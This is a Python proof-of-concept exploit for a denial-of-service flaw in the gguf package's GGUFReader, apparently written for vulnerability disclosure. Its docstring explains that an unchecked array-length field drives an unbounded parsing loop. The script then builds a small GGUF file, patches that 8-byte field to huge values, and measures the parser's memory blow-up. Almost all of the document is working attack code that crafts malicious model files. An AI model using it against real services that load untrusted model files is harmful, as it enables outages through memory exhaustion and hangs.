#!/usr/bin/env python3
"""
PoC: GGUF KV Array Field Unbounded Length -> CPU/Memory Amplification DoS

Target:   gguf (PyPI), gguf-py from ggml-org/llama.cpp
File:     gguf/gguf_reader.py, GGUFReader._get_field_parts(), line ~247
Root cause (CWE-20, Improper Input Validation):
    `alen` (a key/value ARRAY field's declared element count) is read as an
    attacker-controlled uint64 directly from the GGUF file header with NO
    upper bound check, then used directly as a Python loop count:

        alen = self._get(offs, np.uint64)
        ...
        for idx in range(alen[0]):
            curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
            ...

    Each iteration performs a memmap slice + list append regardless of
    whether real data exists past EOF -- numpy memmap slicing silently
    truncates out-of-bounds reads instead of raising, so the loop does not
    fail fast; it just keeps iterating `alen` times.

Impact (CWE-834 Excessive Iteration / CWE-400 Uncontrolled Resource
Consumption): a file of a few hundred bytes can force the parser to consume
gigabytes of RAM and/or hang for minutes, with no exception raised until
(if ever) the process is OOM-killed.

This script:
  1. Writes a small, well-formed GGUF file containing a single 5-element
     KV array field (169 bytes).
  2. Binary-patches only the 8-byte declared array-length field to a much
     larger value (the rest of the file, including the 5 real values,
     is untouched).
  3. Parses the resulting files with the real GGUFReader and measures
     wall-clock time and peak RSS.

Requires: pip install gguf numpy
"""

import struct
import time
import resource
import os
import sys

try:
    import gguf
    from gguf.gguf_reader import GGUFReader
except ImportError:
    sys.exit("Install the target library first: pip install gguf")


LEGIT_FILE = "poc_legit_array.gguf"


def build_legit_file(path: str) -> int:
    """Writes a well-formed GGUF file with one small KV array field."""
    writer = gguf.GGUFWriter(path, arch="llama")
    writer.add_name("poc-model")
    writer.add_array("poc.small_array", [1, 2, 3, 4, 5])
    writer.write_header_to_file()
    writer.write_kv_data_to_file()
    writer.close()
    return os.path.getsize(path)


def find_alen_offset(path: str) -> int:
    """Locates the byte offset of the array-length (alen) uint64 field."""
    with open(path, "rb") as f:
        data = f.read()
    key = b"poc.small_array"
    idx = data.find(key)
    if idx == -1:
        raise RuntimeError("key not found in generated file")
    after_key = idx + len(key)
    # layout after key: raw_kv_type(u32) + raw_itype(u32) + alen(u64) + ...
    return after_key + 8


def craft_evil_file(legit_path: str, alen_offset: int, fake_len: int, out_path: str) -> int:
    with open(legit_path, "rb") as f:
        data = bytearray(f.read())
    struct.pack_into("<Q", data, alen_offset, fake_len)
    with open(out_path, "wb") as f:
        f.write(data)
    return len(data)


def measure_parse(path: str, timeout_note: str = "") -> None:
    t0 = time.time()
    try:
        GGUFReader(path)
    except Exception as e:
        print(f"    -> exception after {time.time()-t0:.2f}s: {e!r}")
        return
    t1 = time.time()
    peak_kb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    file_size = os.path.getsize(path)
    ratio = (peak_kb * 1024) / file_size if file_size else float("inf")
    print(
        f"    -> parsed in {t1 - t0:.3f}s, peak RSS {peak_kb/1024:.1f} MB, "
        f"amplification ~1:{ratio:,.0f} (RSS bytes / file bytes)"
    )


def main():
    print("=== Building legit baseline GGUF file ===")
    size = build_legit_file(LEGIT_FILE)
    print(f"  {LEGIT_FILE}: {size} bytes, declares alen=5 (real)")

    alen_offset = find_alen_offset(LEGIT_FILE)
    print(f"  alen field located at byte offset {alen_offset}")

    print("\n=== Baseline: parsing legit file ===")
    measure_parse(LEGIT_FILE)

    print("\n=== Attack: patching only the 8-byte alen field ===")
    for n in (100_000, 500_000, 1_000_000):
        evil_path = f"poc_evil_{n}.gguf"
        evil_size = craft_evil_file(LEGIT_FILE, alen_offset, n, evil_path)
        print(f"\n  alen patched to {n:,} (file still {evil_size} bytes)")
        measure_parse(evil_path)

    print(
        "\nNote: alen=50,000,000 (same 169-byte file) did not complete within a "
        "60s timeout in testing; RSS growth is roughly linear (~1KB per "
        "declared array element), so this and larger values are expected to "
        "consume tens of GB of RAM / hang indefinitely depending on system "
        "resources -- run at your own risk, ideally in a sandboxed/limited "
        "environment."
    )


if __name__ == "__main__":
    main()